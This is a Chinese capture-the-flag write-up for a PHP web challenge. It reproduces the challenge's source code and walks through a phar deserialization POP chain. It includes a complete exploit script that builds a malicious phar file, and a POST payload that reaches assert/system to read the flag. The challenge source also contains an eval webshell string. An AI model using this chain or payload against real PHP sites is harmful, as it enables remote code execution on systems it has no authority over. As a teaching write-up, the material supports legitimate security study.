前言
提示:以下是本篇文章正文内容
一、题目
题目地址
朴素的界面
看一下上传文件
尝试上传,发现上传后会被解析为txt文件
这样就不能直接上传shell的方法
再去另一个功能点看看
经过测试,发现自己上传以及不存在的文件会提示404
而其他如read.php、upload.php就可以直接获取源码
通过这一功能获得的源码
class.php
<?php
class aa{
public $name;
public function __construct(){
$this->name='aa';
}
public function __destruct(){
$this->name=strtolower($this->name);
}
}
class ff{
private $content;
public $func;
public function __construct(){
$this->content="\<?php @eval(\$_POST[1]);?>";
}
public function __get($key){
$this->$key->{$this->func}($_POST['cmd']);
}
}
class zz{
public $filename;
public $content='surprise';
public function __construct($filename){
$this->filename=$filename;
}
public function filter(){
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
die('这不合理');
}
}
public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//此功能废弃,不想写了
}
public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents))
return $contents;
}else{
die("404 not found");
}
}
public function __toString(){
$this->{$_POST['method']}($_POST['var']);
return $this->content;
}
}
class xx{
public $name;
public $arg;
public function __construct(){
$this->name='eval';
$this->arg='phpinfo();';
}
public function __call($name,$arg){
$name($arg[0]);
}
}
upload.php
<?php
if(isset($_POST['submit'])){
$upload_path="upload/".md5(time()).".txt";
$temp_file = $_FILES['upload_file']['tmp_name'];
if (move_uploaded_file($temp_file, $upload_path)) {
echo "文件路径:".$upload_path;
} else {
$msg = '上传失败';
}
}
read.php
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
<br>
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>
可以看到,在read.php处new了一个对象 zz
而zz是class.php里的一个类,结合题目名称,分析是考察反序列化操作
这里有上传文件的点而且没有unserialize函数出现,确定为phar反序列化
重点:
如何构造链子
二、解题
1.链子
回溯到zz类
class zz{
public $filename;
public $content='surprise';
public function __construct($filename){
$this->filename=$filename;
}
public function filter(){
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
die('这不合理');
}
}
public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//此功能废弃,不想写了
}
public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents))
return $contents;
}else{
die("404 not found");
}
}
public function __toString(){
$this->{$_POST['method']}($_POST['var']);
return $this->content;
}
}
定义两个属性,一个为filename,另一个为content
filename是关键
read.php里调用了getFile方法
public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents))
return $contents;
}else{
die("404 not found");
}
}
而方法里还先调用filter方法过滤了一下
然后就是喜闻乐见的file_get_contents函数
我们利用phar反序列化写进我们希望的数据
下图是链子生成的数据
注意到,func的assert是我们想要执行代码的地方,因为我们知道assert作为危险函数
是可以命令执行的
那么链子的构造就要想着这一方向出发
找到func所在处
class ff{
private $content;
public $func;
public function __construct(){
$this->content="\<?php @eval(\$_POST[1]);?>";
}
public function __get($key){
$this->$key->{$this->func}($_POST['cmd']);
}
}
我们明显想要触发__get()方法,那就是访问私有属性content就好
到这里卡住了。。
2.exp
payload
<?php
class aa{
public $name;
function __construct(){
$this->name = new zz();
}
}
class ff{
private $content;
public $func = "assert";
function __construct(){
$this->content = new xx();
}
}
class zz{
public $filename;
public $content='surprise';
function __construct(){
$this->filename = new ff();
}
}
class xx{
public $name;
public $arg;
}
$a = new aa();
echo urlencode(serialize($a));
# 下面这部分就没改
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
生成phar文件后上传
然后在read.php利用
POST
file=phar://upload/d3919c7d5f0953dfa110c11f3a108be7.txt&method=write&var=content&cmd=system('cat /flag');
参考文章
https://na0h.cn/2021/10/11/nssctf-SWPU%E6%96%B0%E7%94%9F%E8%B5%9Bweb%E9%83%A8%E5%88%86/